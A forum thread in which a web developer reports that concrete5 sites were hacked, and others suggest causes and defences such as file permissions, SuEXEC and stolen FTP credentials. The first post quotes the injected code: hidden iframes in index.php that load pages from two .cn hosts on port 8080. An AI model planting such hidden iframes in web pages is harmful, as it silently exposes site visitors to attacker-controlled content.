iframe injection attack
Permalink
Hi Guys
Yesterday all concrete5 websites that we installed for customers got hacked. The index.php code was replaced with the following:
<?php
require('concrete/dispatcher.php')
<iframe src="http://thelotmachine.cn:8080/ts/in.cgi?pepsi49" width=125 height=125 style="visibility: hidden"></ifra
><iframe src="http://thelotmachine.cn:8080/ts/in.cgi?pepsi49" width=125 height=125 style="visibility: hidden"></ifr
><iframe src="http://catchynamestore.cn:8080/index.php" width=175 height=134 style="visibility: hidden"></iframe>
I spoke to my host and they informed me that it was an iframe injection attack and that the problem can only prevented by the developer.
Any suggestions on how we can prevent this from happening again?
Yesterday all concrete5 websites that we installed for customers got hacked. The index.php code was replaced with the following:
<?php
require('concrete/dispatcher.php')
<iframe src="http://thelotmachine.cn:8080/ts/in.cgi?pepsi49" width=125 height=125 style="visibility: hidden"></ifra
><iframe src="http://thelotmachine.cn:8080/ts/in.cgi?pepsi49" width=125 height=125 style="visibility: hidden"></ifr
><iframe src="http://catchynamestore.cn:8080/index.php" width=175 height=134 style="visibility: hidden"></iframe>
I spoke to my host and they informed me that it was an iframe injection attack and that the problem can only prevented by the developer.
Any suggestions on how we can prevent this from happening again?
hi remo
thanks for the response. Each customer has a seperate install but on the same host. Infact all the default.php and index.php files on concrete5 install have been changed. Our host says that its a developer issue. Do you think it is true. Can we do some thing to prevent this from happening in the future. Again i will like to thank you for your help.
thanks for the response. Each customer has a seperate install but on the same host. Infact all the default.php and index.php files on concrete5 install have been changed. Our host says that its a developer issue. Do you think it is true. Can we do some thing to prevent this from happening in the future. Again i will like to thank you for your help.
do you have some log files? it might be helpful to see which adresses the attacker used to inject the code (if they really did)
I asked the question about the accounts since you're the only one who had this problem so far.
There aren't any other scripts running beside Concrete5?
I asked the question about the accounts since you're the only one who had this problem so far.
There aren't any other scripts running beside Concrete5?
This attack isn't concrete5 specific, if you google a bit you'll see other products having the same problem which usually means it's not a software issue but rather a hosting/security problem
Who's the user and group owning your files on the server? (ls -al)
Who's the user and group owning your files on the server? (ls -al)
Not sure who owns it. In my ftp client it shows numbers in the owner feild. I think its masked.
sure you don't mean the permissions? chmod stuff?
I still doubt it's Concrete5 but without more information, log files, root access to the server any thing else it's pretty much impossible for me to help you..
I still doubt it's Concrete5 but without more information, log files, root access to the server any thing else it's pretty much impossible for me to help you..
the index.php needs to be set to 644. If you have write permissions for world it would allow someone to write a script that reads your index.php, append their info and save over the top from an outside URI.
Be careful when given write permission to the world. After installation the only item that may require world write permissions is the "files" folder.
Be careful when given write permission to the world. After installation the only item that may require world write permissions is the "files" folder.
I've been digging around a bit and it seems to be a common way to add code to php files named index.php by script kiddies..
Change your password, make sure you use things like SuEXEC, don't chmod 0777 all the directores etc. etc.
Change your password, make sure you use things like SuEXEC, don't chmod 0777 all the directores etc. etc.
If you want to take it another step, you can change the default page name that gets loaded.
ie rename index.php to some arbitary name that makes sense to you then adjust your http.conf settings or .htaccess file to reflect the change.
That way if someone is targeting your index.php file and is somehow getting around permissions, they may still save the their index.php file to your website but it will never get loaded because you have removed the automatic load reference.
ie rename index.php to some arbitary name that makes sense to you then adjust your http.conf settings or .htaccess file to reflect the change.
That way if someone is targeting your index.php file and is somehow getting around permissions, they may still save the their index.php file to your website but it will never get loaded because you have removed the automatic load reference.
Hi Guys
I spoke to my web host they informed me that there is nothing they can do but restore from backups. They also informed me that input validation needs to be done in code to prevent these cases from happening again.
I check my permission all directories have 755 permissions it even managed to infect the default.php file in concrete/libraries/cache
Guys do you think is a web host issue and is it something that can be prevented from their side?
I spoke to my web host they informed me that there is nothing they can do but restore from backups. They also informed me that input validation needs to be done in code to prevent these cases from happening again.
I check my permission all directories have 755 permissions it even managed to infect the default.php file in concrete/libraries/cache
Guys do you think is a web host issue and is it something that can be prevented from their side?
The people behind c5 know about input validation.
This is a basic thing you need to know as a web developer. All the sql calls use Adodb where all parameters are properly validated..
I'm not saying there isn't a missing check for sure but I doubt it as the attack doesn't seem to be concrete5 related..
This is a basic thing you need to know as a web developer. All the sql calls use Adodb where all parameters are properly validated..
I'm not saying there isn't a missing check for sure but I doubt it as the attack doesn't seem to be concrete5 related..
Looks like i am not getting much help from my webhost. I had a look around on some other customers site who doesn't have concrete and they are also effected.
It would be nice if getconcrete5 had a reseller option so we can also market Concrete5 as a SaaS.
I think is the coolest cms by far, even some commercial product don't even come close to it.
It would be nice if getconcrete5 had a reseller option so we can also market Concrete5 as a SaaS.
I think is the coolest cms by far, even some commercial product don't even come close to it.
I wrote a quick hack to test what is happening on your host's server. I tested it across three of my test servers (different hosts) and with the permission set to 755, it is not possible to overwrite the index.php file form an outside URI. This would suggest one of two situations
1. Your host has/had a virus, and are covering their arse
2. You have a form that allows people to enter information. If this information is then displayed to screen, it is possible a hacker entered the viral code and it then ran as a local service when it displayed their information. The easy way around this is to parse out all "<?php" references from the string submitted.
However as other customers on the same host have also been infected, it looks like #1 is the likely scenario, and it is a problem your host needs to solve.
ISPs never accept responsibility and will always pass the buck. So good luck with that.
1. Your host has/had a virus, and are covering their arse
2. You have a form that allows people to enter information. If this information is then displayed to screen, it is possible a hacker entered the viral code and it then ran as a local service when it displayed their information. The easy way around this is to parse out all "<?php" references from the string submitted.
However as other customers on the same host have also been infected, it looks like #1 is the likely scenario, and it is a problem your host needs to solve.
ISPs never accept responsibility and will always pass the buck. So good luck with that.
I am on a reseller hosting package with my host and lucky i got only 5 domains on the account. Do you guys know of any good reseller hosting companies that support concrete5 installs. It would be nice if getconcrete5 offered this type of solution.
Thanks
Thanks
I know a lot of resellers supporting concrete5, but all of them are from Switzerland and it's usually nice if you don't have to speak a foreign language when talking to the support people...
I am from South Africa, not many people know about concrete5 so i was hoping to bring this them . Now a few customers who i have installed loved the system but my stupid host really messed it up for me. BTW the host is a American host
We will be offering a better reseller solution before long. In the meantime, host 5 sites with us and we'll give you 1 more for free.
http://concrete5.org/services/hosting...
-frz
http://concrete5.org/services/hosting...
-frz
Hi Frz
What type of reseller model to you planing on introducing. I would like to have a setup something to how you have at getconcrete5, people signup for trial and then the trial becomes the the live website when they signup. May i ask to what extent can we use the concrete5 brand.Need to know the legal stuff. Like can we register a concrete5 domain and market that in South Africa. PM me we can talk business.
Regards
What type of reseller model to you planing on introducing. I would like to have a setup something to how you have at getconcrete5, people signup for trial and then the trial becomes the the live website when they signup. May i ask to what extent can we use the concrete5 brand.Need to know the legal stuff. Like can we register a concrete5 domain and market that in South Africa. PM me we can talk business.
Regards
In general, we're happy to have you setup your own concrete5 site as long as you use our logo according to the guidelines:
http://www.concrete5.org/help/legal/logo_usage/...
you (or anyone) can email me at franz at concrete5 dot org to talk business.
http://www.concrete5.org/help/legal/logo_usage/...
you (or anyone) can email me at franz at concrete5 dot org to talk business.
And this isn't the problem here. If the iframe code were found inside your database content (e.g., in one of the tables that concrete5 uses to store its content) then this would indicate a vulnerability in concrete5. But this is actually content added to a specific PHP file on the server.
I would change your account passwords ASAP.
Make sure the email address contact on your account is still you (so no one logged into some control panel and changed it, so they can perpetually get your password.)
I would change your account passwords ASAP.
Make sure the email address contact on your account is still you (so no one logged into some control panel and changed it, so they can perpetually get your password.)
Thanks for responding on this.
This is NOT code that is entering the database - hence it is not likely a fault of concrete5.
We had this happen to a site that we host as well, and according to our system administrators:
"In recent cases like this, typically what happens is someone logs into the FTP or cPanel account from an infected machine, and the login credentials are sent
to an attacker who logs in later and adds malicious code to various files."
i.e. - in many cases these are pretty low-tech "hacks." Someone just goes in manually and adds the code.
If someone does find a hole in the software that allows improperly chmodded files to be written to, I would love to know about it - but I don't think that's what's happening here.
This is NOT code that is entering the database - hence it is not likely a fault of concrete5.
We had this happen to a site that we host as well, and according to our system administrators:
"In recent cases like this, typically what happens is someone logs into the FTP or cPanel account from an infected machine, and the login credentials are sent
to an attacker who logs in later and adds malicious code to various files."
i.e. - in many cases these are pretty low-tech "hacks." Someone just goes in manually and adds the code.
If someone does find a hole in the software that allows improperly chmodded files to be written to, I would love to know about it - but I don't think that's what's happening here.
The file has been modified itself, not only the output. An injection usually uses parameters which aren't checked properly.
Are you using one account for all your c5 sites?